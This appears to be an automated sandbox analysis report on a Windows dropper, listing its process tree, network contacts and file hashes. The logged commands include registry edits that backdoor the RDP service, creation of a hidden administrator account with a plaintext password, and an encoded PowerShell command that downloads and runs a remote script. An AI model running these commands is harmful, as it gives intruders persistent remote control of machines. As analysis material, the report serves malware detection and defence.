PID 752 wrote to memory of 776 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 752 wrote to memory of 776 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 4048 wrote to memory of 1520 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 4048 wrote to memory of 1520 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1520 wrote to memory of 3548 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1520 wrote to memory of 3548 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3548 wrote to memory of 2272 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 3548 wrote to memory of 2272 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2272 wrote to memory of 672 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 2272 wrote to memory of 672 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 4048 wrote to memory of 1488 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 4048 wrote to memory of 1488 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1488 wrote to memory of 1232 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1488 wrote to memory of 1232 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1232 wrote to memory of 384 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 1232 wrote to memory of 384 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 384 wrote to memory of 3984 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 384 wrote to memory of 3984 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 2340 wrote to memory of 508 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\net.exe
PID 2340 wrote to memory of 508 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\net.exe
PID 508 wrote to memory of 4052 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe

Processes

C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe

"C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe"

C:\Windows\SysWOW64\dllhost.exe

"C:\Windows\System32\dllhost.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c cmd < Bianchezza.xltx

C:\Windows\SysWOW64\cmd.exe

cmd

C:\Windows\SysWOW64\findstr.exe

findstr /V /R "^neXfkAonzMgXVmZcOdbhYtXinpUsiRQPwpGkvuIPGbsmTRiWdNhKCZQztQQwGRdBWnVLTOZIHIGBMnhHwYqzEyjezjuGfHoPuPCcVveCOErUagHFCoZIRXXQkTsHHzzqmRcWVSM$" Veda.xltx

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

Uso.exe.com B

C:\Windows\SysWOW64\PING.EXE

ping GFBFPSXA -n 30

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com B

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ij3e41ey\ij3e41ey.cmdline"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAC5E.tmp" "c:\Users\Admin\AppData\Local\Temp\ij3e41ey\CSCB1FF2C35EB8749A8BFDD69BC8F507054.TMP"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f

C:\Windows\system32\net.exe

"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr

C:\Windows\system32\cmd.exe

cmd /c net start rdpdr

C:\Windows\system32\net.exe

net start rdpdr

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 start rdpdr

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService

C:\Windows\system32\cmd.exe

cmd /c net start TermService

C:\Windows\system32\net.exe

net start TermService

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 start TermService

C:\Windows\System32\cmd.exe

cmd /C net.exe user wgautilacc Ghar4f5 /del

C:\Windows\system32\net.exe

net.exe user wgautilacc Ghar4f5 /del

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del

C:\Windows\System32\cmd.exe

cmd /C net.exe user wgautilacc 3WFaAX0N /add

C:\Windows\system32\net.exe

net.exe user wgautilacc 3WFaAX0N /add

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 user wgautilacc 3WFaAX0N /add

C:\Windows\System32\cmd.exe

cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD

C:\Windows\system32\net.exe

net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD

C:\Windows\System32\cmd.exe

cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD

C:\Windows\system32\net.exe

net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD

C:\Windows\System32\cmd.exe

cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD

C:\Windows\system32\net.exe

net.exe LOCALGROUP "Administrators" wgautilacc /ADD

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD

C:\Windows\System32\cmd.exe

cmd /C net.exe user wgautilacc 3WFaAX0N

C:\Windows\system32\net.exe

net.exe user wgautilacc 3WFaAX0N

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 user wgautilacc 3WFaAX0N

C:\Windows\System32\cmd.exe

cmd.exe /C wmic path win32_VideoController get name

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\System32\cmd.exe

cmd.exe /C wmic CPU get NAME

C:\Windows\System32\Wbem\WMIC.exe

wmic CPU get NAME

C:\Windows\System32\cmd.exe

cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA

C:\Windows\system32\cmd.exe

cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f

Network

Country Destination Domain Proto
N/A 8.8.8.8:53 SMlwtcVckecAT.SMlwtcVckecAT udp
N/A 8.8.8.8:53 2no.co udp
N/A 88.99.66.31:443 2no.co tcp
N/A 8.8.8.8:53 raw.githubusercontent.com udp
N/A 185.199.108.133:443 raw.githubusercontent.com tcp
N/A 8.8.8.8:53 www.speedtest.net udp
N/A 151.101.2.219:80 www.speedtest.net tcp
N/A 151.101.2.219:443 www.speedtest.net tcp
N/A 151.101.2.219:80 www.speedtest.net tcp
N/A 8.8.8.8:53 c.speedtest.net udp
N/A 151.101.2.219:443 c.speedtest.net tcp
N/A 8.8.8.8:53 asfuuvhv3083f.xyz udp

Files

memory/204-114-0x0000000000000000-mapping.dmp

memory/940-115-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Bianchezza.xltx

MD5 7d4057365f857501253e0273336b7256
SHA1 62375a5303e4a59e95cf7e0072cd58efa187b7f2
SHA256 003e6c8d0f15c6eb4738ea99f9fd99457d43d65e9d4f15506446db4b51b02079
SHA512 7059a22ba6020db18f7b86e09b816bedd0a9f208818dcb98c69a647f6aee18ffaf4c60c3725bdfa8a354a7244b9c32fc07c3fc0d807ca39dda69842681a9fd6c

memory/3180-117-0x0000000000000000-mapping.dmp

memory/744-118-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Veda.xltx

MD5 e7173515ef44feb1ee618484b7743e93
SHA1 8f976bf1da030655afd0f43e0a357a58a2ea9178
SHA256 7875f52e1f97a463783456b6b3c2dbc85f183534b5281ba72b0574529139d86b
SHA512 41830f7036e32679bf274c67390dd6bca9f6286ee8d3144d0e57ca39fdca1ec1a8273fb528ffed819444b183067ab6078bfaa0e82d16deed3fac47a1cf027361

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Quegli.xltx

MD5 88f64f83b0347a89de94d39c922de8be
SHA1 6f6994a18df262aad0d2b50b7e8b27b6b310b7a4
SHA256 2f642e4a8b22ad149697df770a1f5d1d87aec3d8b2320b867597ebfd5e3d8fd5
SHA512 9450effe8020f6a8adc840566639f2e5f6942217ae56182af7af5de441bc7ed37b97da983281e7d8b17ab9f6334c79269c94588f14ff61010d1b1c2b27c754a8

memory/2172-121-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

MD5 f83ab141e29899ceb5308dabde894a0e
SHA1 6ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256 ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512 d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

memory/1424-123-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\B

MD5 88f64f83b0347a89de94d39c922de8be
SHA1 6f6994a18df262aad0d2b50b7e8b27b6b310b7a4
SHA256 2f642e4a8b22ad149697df770a1f5d1d87aec3d8b2320b867597ebfd5e3d8fd5
SHA512 9450effe8020f6a8adc840566639f2e5f6942217ae56182af7af5de441bc7ed37b97da983281e7d8b17ab9f6334c79269c94588f14ff61010d1b1c2b27c754a8

memory/3048-125-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

MD5 f83ab141e29899ceb5308dabde894a0e
SHA1 6ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256 ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512 d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.xltx

MD5 109dfda879c2954ab2c86c465af694b1
SHA1 318bec946966f6640d4a8cc2f615d8ff46e0e598
SHA256 74a6499a65d4b1df96a8db88714fb75f6ffe99b84d39c4d492ec840df0f9bf67
SHA512 afb8077b538ce66fe6c998e10699369f7151ba35e78e08c5cc82d78f48c0662bf729f2a0dd666dc755841a939c1212ddc55132ab4ae441f341dfa01122bfe977

memory/3048-128-0x0000028588000000-0x0000028588001000-memory.dmp

memory/3560-129-0x0000024197D20000-0x000002419836A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

MD5 f83ab141e29899ceb5308dabde894a0e
SHA1 6ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256 ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512 d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

memory/3560-131-0x0000024197D20000-0x000002419836A000-memory.dmp

memory/3560-132-0x00000241BDAA0000-0x00000241BDAA2000-memory.dmp

memory/3560-133-0x00000241D8060000-0x00000241D8480000-memory.dmp

memory/3560-136-0x00000241BDAA5000-0x00000241BDAA6000-memory.dmp

memory/3560-135-0x00000241BDAA3000-0x00000241BDAA5000-memory.dmp

memory/3560-137-0x00000241BDAA6000-0x00000241BDAA7000-memory.dmp

memory/4048-138-0x0000000000000000-mapping.dmp

memory/4048-144-0x00000141AED40000-0x00000141AED41000-memory.dmp

memory/4048-147-0x00000141C74C0000-0x00000141C74C1000-memory.dmp

memory/4048-149-0x00000141C7070000-0x00000141C7072000-memory.dmp

memory/4048-150-0x00000141C7073000-0x00000141C7075000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5 3447df88de7128bdc34942334b2fab98
SHA1 519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb
SHA256 9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9
SHA512 2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

memory/736-156-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\ij3e41ey\ij3e41ey.cmdline

MD5 afaa81a34c6af6461382ea58caacdc58
SHA1 c6a5d6316dcfb41760c253aa41bde571edde961a
SHA256 cd7745df1fa49da41b5e3673e602001bd32c308777fefb68d50bb6967ea75a7e
SHA512 909b7ebc3fbafcd0368880347dc20c7dff7322ded97590e0c1f5c4d67d855f34503d1c5fb898177005495162b248fb7644b6b1b2cf7f4e322ea6d3cd133815b4

\??\c:\Users\Admin\AppData\Local\Temp\ij3e41ey\ij3e41ey.0.cs

MD5 4864fc038c0b4d61f508d402317c6e9a
SHA1 72171db3eea76ecff3f7f173b0de0d277b0fede7
SHA256 0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84
SHA512 9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

memory/4048-159-0x00000141C7076000-0x00000141C7078000-memory.dmp

memory/3936-160-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\ij3e41ey\CSCB1FF2C35EB8749A8BFDD69BC8F507054.TMP

MD5 848b7cf1f06fd72e819f3ef7e4b3643d
SHA1 f99721b27d13be84677031c0099ca8277acfbe79
SHA256 87e6705a0fc4eb791c31cb7d3b7f0ec849be34f508240755672c2175ec8b6d5f
SHA512 d96e0c310528ce73ea36e043a4e1ed4c8ece49acf9a7b45373a05b4b957f8e9b24b3cc754b082be749c25865df50940dae09e25e58788b52676f5968a8ccf201

C:\Users\Admin\AppData\Local\Temp\RESAC5E.tmp

MD5 cc40cab4e1dcf896fc8a9b88a8c08cf2
SHA1 8fe7eda7780d5aa7b33e454a316193147185703e
SHA256 598c4e4eb365408f36c726c762036df71635ea3d58d756ca9d6f62040b543a86
SHA512 43aaa589b51419413d80c430e6066ca3d30073701853b805e294e23a963896a54299dfcbe63c6e3b7f615c1b624e9b828d5b0054c2d40b5c5cf2ec9af22032e0

C:\Users\Admin\AppData\Local\Temp\ij3e41ey\ij3e41ey.dll

MD5 0370594a63343a76cb88063ce1de6aa5
SHA1 294723c638bb1ee40062b771b525d2e5d1fcdaab
SHA256 b2c69d17324eb87223b5067a634bb34a4cb25790ec4809a6b84b0382c4a1b373
SHA512 7c5489d294471e42088614d9902e6dbef0b54c1e63e44b3342ef8fcdac9c969fba17e22a221f473501e113d57e75164628394db1a7149d94a0a242b6c2bced3a

memory/4048-164-0x00000141C7030000-0x00000141C7031000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

MD5 91f2ffa1c3ed8abba9ce6a3a8f63ae61
SHA1 0686c03aedfa4a0a17397da8dbb7e73cea42fa33
SHA256 069a95878671a32398ba592ad95049a9bff8b727849465d73c17382eb53869f8
SHA512 91473dfbf6b058b9ff70b38b1a7c82046b130c44e349e90b97eb651198b0a64a201ea64b03877e3179b2cb8c729a9fb0a54c408206d8f06c8a71197d3fba93ae

memory/4048-170-0x00000141C78D0000-0x00000141C78D1000-memory.dmp

memory/4048-171-0x00000141C7C60000-0x00000141C7C61000-memory.dmp

memory/4048-172-0x00000141C7078000-0x00000141C7079000-memory.dmp

memory/4008-179-0x0000000000000000-mapping.dmp

memory/4008-189-0x00000278CD7C0000-0x00000278CD7C2000-memory.dmp

memory/4008-190-0x00000278CD7C3000-0x00000278CD7C5000-memory.dmp

memory/4008-213-0x00000278CD7C6000-0x00000278CD7C8000-memory.dmp

memory/4008-218-0x00000278CD7C8000-0x00000278CD7CA000-memory.dmp

memory/3960-223-0x0000000000000000-mapping.dmp

memory/3960-235-0x00000267EB960000-0x00000267EB962000-memory.dmp

memory/3960-237-0x00000267EB966000-0x00000267EB968000-memory.dmp

memory/3960-236-0x00000267EB963000-0x00000267EB965000-memory.dmp

memory/2388-266-0x0000000000000000-mapping.dmp

memory/3960-275-0x00000267EB968000-0x00000267EB96A000-memory.dmp

memory/2388-278-0x0000023EF61E3000-0x0000023EF61E5000-memory.dmp

memory/2388-276-0x0000023EF61E0000-0x0000023EF61E2000-memory.dmp

memory/2388-309-0x0000023EF61E6000-0x0000023EF61E8000-memory.dmp

memory/1708-320-0x0000000000000000-mapping.dmp

memory/3956-321-0x0000000000000000-mapping.dmp

memory/8-322-0x0000000000000000-mapping.dmp

memory/752-359-0x0000000000000000-mapping.dmp

memory/776-360-0x0000000000000000-mapping.dmp

memory/1520-363-0x0000000000000000-mapping.dmp

memory/3548-364-0x0000000000000000-mapping.dmp

memory/2272-365-0x0000000000000000-mapping.dmp

memory/672-366-0x0000000000000000-mapping.dmp

memory/1488-367-0x0000000000000000-mapping.dmp

memory/1232-368-0x0000000000000000-mapping.dmp

memory/384-369-0x0000000000000000-mapping.dmp

memory/3984-370-0x0000000000000000-mapping.dmp

\Windows\Branding\mediasrv.png

MD5 7ddf5fb0ee8289cc286b454a7b53a603
SHA1 065aeffcc062d442671b3f67df6473bee9367b3a
SHA256 8f55881188f7be83a94148b548fee913bde5d658ea462dd9e4dc5945e41197e7
SHA512 7783144e8b92512d4e9bf23664d56bdab30f3c97a3e7d31d4ca233f7f47bd69983e7f5f9f2469b420146460ae514b9c891a66aad06077f06d1df1cf9b15581a4

\Windows\Branding\mediasvc.png

MD5 667d42e1a5ba6c7a929e8e77262a9861
SHA1 dd73058c4d6b851f3c347410342a0b7a9b2a689a
SHA256 a6a996d5e38ac43969a5151393e87aa85b79d1a5bb4449ca1328c610e8803a1c
SHA512 7fb5611eba143a32faf3e20637c649ed78535578f7f64750b52586b3fbf738ad07a40f61fe7840204a7ee8d42fb75d7e6213579c7f4df114f3e135e72825bb53

memory/508-373-0x0000000000000000-mapping.dmp

memory/4052-374-0x0000000000000000-mapping.dmp

memory/3848-375-0x0000000000000000-mapping.dmp

memory/3468-376-0x0000000000000000-mapping.dmp

memory/4024-377-0x0000000000000000-mapping.dmp

memory/2260-378-0x0000000000000000-mapping.dmp

memory/752-379-0x0000000000000000-mapping.dmp

memory/3512-380-0x0000000000000000-mapping.dmp

memory/1016-381-0x0000000000000000-mapping.dmp

memory/3792-382-0x0000000000000000-mapping.dmp

memory/2016-383-0x0000000000000000-mapping.dmp

memory/3788-384-0x0000000000000000-mapping.dmp

memory/908-385-0x0000000000000000-mapping.dmp

memory/3816-386-0x0000000000000000-mapping.dmp

memory/1600-387-0x0000000000000000-mapping.dmp

memory/1700-388-0x0000000000000000-mapping.dmp

memory/1700-402-0x00000205AA4E3000-0x00000205AA4E5000-memory.dmp

memory/1700-401-0x00000205AA4E0000-0x00000205AA4E2000-memory.dmp

memory/1700-405-0x00000205AA4E6000-0x00000205AA4E8000-memory.dmp

memory/1700-431-0x00000205AA4E8000-0x00000205AA4E9000-memory.dmp

memory/4000-442-0x0000000000000000-mapping.dmp

memory/2864-443-0x0000000000000000-mapping.dmp